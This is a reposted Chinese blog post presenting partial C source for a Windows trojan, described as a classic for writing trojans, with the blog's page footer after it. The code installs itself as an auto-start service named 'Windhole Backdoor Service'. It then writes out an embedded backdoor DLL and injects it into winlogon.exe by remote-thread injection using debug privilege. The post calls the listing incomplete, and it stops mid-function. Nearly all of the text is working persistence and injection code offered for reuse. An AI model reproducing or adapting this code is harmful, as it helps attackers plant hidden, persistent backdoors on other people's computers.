寫木馬的經典，dll插入系統程式的原始碼(轉)[@more@]

　　程式碼不全，這是涉及主要的部分！有詳細的註釋

　　裡面有涉及普通常用且又重要的程式設計思路！

　　/*---------------------------------------------------------------------

　　//mysvr.c

　　//Coder: sjdf

　　//E-mail: sjdf1@163.com

　　//Create date: 2002.8.11

　　//Last modify date: 2003.10.28

　　//Test platform: Win2000 Adv Server + sp4

　　---------------------------------------------------------------------*/

　　//Header

　　#include "bkdlldata.h"

　　#include

　　//---------------------------------------------------------------------

　　//Global constant

　　char SERVICENAME[9] = "windhole";

　　const char DISPLAYNAME[33] = "Windhole Backdoor Service";

　　const char SRVFILENAME[13] = "windhole.exe";

　　const char BDRFILENAME[13] = "backdoor.dll";

　　const char DESTPROC[19] = "winlogon.exe";

　　//---------------------------------------------------------------------

　　//Glabal variable

　　SERVICE_STATUS MyServiceStatus;

　　SERVICE_STATUS_HANDLE MyServiceStatusHandle;

　　int WillStop = 0;

　　//---------------------------------------------------------------------

　　//Function declaration

　　int AddPrivilege(const char *Name);

　　void MyServiceStart (int argc, char *argv[]);

　　void MyServiceCtrlHandler (DWORD opcode);

　　DWORD MyWrokThread(void);

　　DWORD ProcessToPID(const char *InputProcessName);

　　//---------------------------------------------------------------------

　　//Function definition

　　int main(int argc,char *argv[])

　　{

　　//如果引數為“-service”就作為服務啟動

　　if ((argc >= 2) && (!lstrcmp(argv[1],"-service")))

　　{

　　SERVICE_TABLE_ENTRY DispatchTable[] =

　　{

　　{SERVICENAME, (LPSERVICE_MAIN_FUNCTION)MyServiceStart},

　　{NULL, NULL}

　　};

　　if (!StartServiceCtrlDispatcher( DispatchTable))

　　{

　　return 1;

　　}

　　return 0;

　　}

　　//否則就自動安裝服務

　　//複製自身到系統目錄

　　char DestName[MAX_PATH + 1];

　　char NowName[MAX_PATH + 1];

　　ZeroMemory(DestName,MAX_PATH + 1);

　　ZeroMemory(NowName,MAX_PATH + 1);

　　if (!GetSystemDirectory(DestName,MAX_PATH))

　　{

　　printf("GetSystemDirectory() error = %d Install failure! ",GetLastError());

　　return 1;

　　}

　　lstrcat(DestName,"");

　　lstrcat(DestName,SRVFILENAME);

　　if (!GetModuleFileName(NULL,NowName,MAX_PATH))

　　{

　　printf("GetModuleFileName() error = %d Install failure! ",GetLastError());

　　return 1;

　　}

　　if (!CopyFile(NowName,DestName,0))

　　{

　　printf("CopyFile() error = %d Install failure! ",GetLastError());

　　return 1;

　　}

　　//安裝服務

　　SC_HANDLE newService, scm;

　　//連線SCM

　　if (!(scm = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE)))

　　{

　　printf("OpenSCManager() error = %d Install failure! ",GetLastError());

　　return 1;

　　}

　　//當作為服務啟動時加上“-service”引數

　　lstrcat(DestName," -service");

　　if (!(newService = CreateService(scm,

　　SERVICENAME,

　　DISPLAYNAME,

　　SERVICE_ALL_ACCESS,

　　SERVICE_WIN32_OWN_PROCESS,

　　SERVICE_AUTO_START,

　　SERVICE_ERROR_NORMAL,

　　DestName,

　　NULL, NULL, NULL, NULL, NULL)))

　　{

　　printf("CreateService() error = %d Install failure! ",GetLastError());

　　}

　　else

　　{

　　printf("Install success! ");

　　char *pra[] = {"-service", ""};

　　if (!StartService(newService,1,(const char **)pra))

　　{

　　printf("StartService() error = %d Start service failure! ",GetLastError());

　　}

　　else

　　{

　　printf("Start service Success! ");

　　}

　　CloseServiceHandle(newService);

　　CloseServiceHandle(scm);

　　return 0;

　　}

　　//---------------------------------------------------------------------

　　DWORD MyWorkThread(void)

　　{

　　Sleep(4000);

　　FILE *fp;

　　if ((fp = fopen(BDRFILENAME,"wb")) == NULL)

　　{

　　WillStop = 1;

　　return 1;

　　}

　　fwrite(data1,sizeof(data1),1,fp);

　　fwrite(data2,sizeof(data2),1,fp);

　　fwrite(data3,sizeof(data3),1,fp);

　　fwrite(data4,sizeof(data4),1,fp);

　　fwrite(data5,sizeof(data5),1,fp);

　　fclose(fp);

　　char FullName[MAX_PATH + 1];

　　ZeroMemory(FullName,MAX_PATH + 1);

　　GetSystemDirectory(FullName,MAX_PATH);

　　lstrcat(FullName,"");

　　lstrcat(FullName,BDRFILENAME);

　　//如果是要開啟系統程式，一定要先申請debug許可權

　　AddPrivilege(SE_DEBUG_NAME);

　　HANDLE hRemoteProcess = NULL;

　　DWORD Pid = ProcessToPID(DESTPROC);

　　if ((hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允許遠端建立執行緒

　　PROCESS_VM_OPERATION | //允許遠端VM操作

　　PROCESS_VM_WRITE | //允許遠端VM寫

　　PROCESS_VM_READ, //允許遠端VM讀

　　0,

　　Pid)) == NULL)

　　{

　　WillStop = 1;

　　return 1;

　　}

　　char *pDllName = NULL;

　　if ((pDllName = (char *)VirtualAllocEx( hRemoteProcess,

　　NULL,

　　lstrlen(FullName) + 1,

　　MEM_COMMIT,

　　PAGE_READWRITE)) == NULL)

　　{

　　CloseHandle(hRemoteProcess);

　　WillStop = 1;

　　return 1;

　　}

　　//使用WriteProcessMemory函式將DLL的路徑名複製到遠端程式的記憶體空間

　　if (WriteProcessMemory(hRemoteProcess,

　　pDllName,

　　FullName,

　　lstrlen(FullName),

　　NULL) == 0)

　　{

　　VirtualFreeEx(hRemoteProcess,pDllName,0,MEM_RELEASE);

　　CloseHandle(hRemoteProcess);

　　WillStop = 1;

　　return 1;

　　}

　　//計算LoadLibraryA的入口地址

　　PTHREAD_START_ROUTINE pfnStartAddr = NULL;

　　if ((pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(

　　GetModuleHandle(TEXT("kernel32")), "LoadLibraryA")) == NULL)

　　{

　　VirtualFreeEx(hRemoteProcess,pDllName,0,MEM_RELEASE);

　　CloseHandle(hRemoteProcess);

　　WillStop = 1;

　　return 1;

　　}

　　DWORD ThreadId = 0;

　　CreateRemoteThread(hRemoteProcess, //被嵌入的遠端程式

　　NULL,

　　0,

　　pfnStartAddr, //LoadLibraryA的入口地址

　　pDllName,

　　0,

　　&ThreadId);

　　CloseHandle(hRemoteProcess);

　　WillStop = 1;

　　return 0;

　　}

　　//---------------------------------------------------------------------

　　void MyServiceStart (int argc, char *argv[])

　　{

　　if (!(MyServiceStatusHandle = RegisterServiceCtrlHandler(SERVICENAME,(LPHANDLER_FUNCTION)MyServiceCtrlHandler)))

　　{

　　return;

　　}

　　MyServiceStatus.dwServiceType = SERVICE_WIN32;

　　MyServiceStatus.dwCurrentState = SERVICE_START_PENDING;

　　MyServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;

　　MyServiceStatus.dwWin32ExitCode = 0;

　　MyServiceStatus.dwServiceSpecificExitCode = 0;

　　MyServiceStatus.dwCheckPoint = 0;

　　MyServiceStatus.dwWaitHint = 0;

　　if (!SetServiceStatus (MyServiceStatusHandle, &MyServiceStatus))

　　{

　　return;

　　}

　　DWORD Threadid;

　　// Initialization code goes here. Handle error condition

　　if (!CreateThread(NULL, 0,(LPTHREAD_START_ROUTINE)MyWorkThread,NULL, 0, &Threadid))

　　{

　　MyServiceStatus.dwCurrentState = SERVICE_STOPPED;

　　MyServiceStatus.dwCheckPoint = 0;

　　MyServiceStatus.dwWaitHint = 0;

　　MyServiceStatus.dwWin32ExitCode = GetLastError();

　　MyServiceStatus.dwServiceSpecificExitCode = GetLastError();

·上一篇：

·下一篇：

最新更新

	· · · · · · · · · · · · · · · · · · · · · · · · · · · · · ·


\| \| \| \| \| \| \|


Copyright © 2004 - 2007 All Rights Reserved 來自 “ ITPUB部落格 ” ，連結：http://blog.itpub.net/10763080/viewspace-970138/，如需轉載，請註明出處，否則將追究法律責任。 0 0 分享到：上一篇：讓資料庫更安全，Mysql自動備份指令碼(轉) 下一篇： WEB開發之提升JSP應用程式的七大絕招(轉) 請登入後發表評論登入全部評論 RegisterForBlog 博文量 295 訪問量 1603562 最新文章 eTrust全方位實現安全管理(轉) 電子支付與安全的關係及其經濟分析二(轉) 電子支付與安全的關係及其經濟分析三(轉) 讓個人電腦也擁有一把保護傘—個人防火牆(轉) 整體大於部分之和—ServGate的整合安全(轉) 識破病毒的“障眼法”進一步防禦病毒(轉) 實驗室環境下測試千兆入侵檢測系統(轉) 病毒肆虐資訊保安問題不容忽視(轉) 覆蓋*printf()系列函式本身的返回地址(轉) 中國資訊保安體系機構基本框架與構想(轉) 支援我們作者招募使用者協議 FAQ Contact Us 北京盛拓優訊資訊科技有限公司. 版權所有京ICP備16024965號-8 北京市公安局海淀分局網監中心備案編號：11010802021510 niuxiaotong@pcpop.com 17352615567 未成年人舉報專區廣播電視節目製作經營許可證(京) 字第1234號中國網際網路協會會員

寫木馬的經典，dll插入系統程式的原始碼(轉)

最新文章

相關文章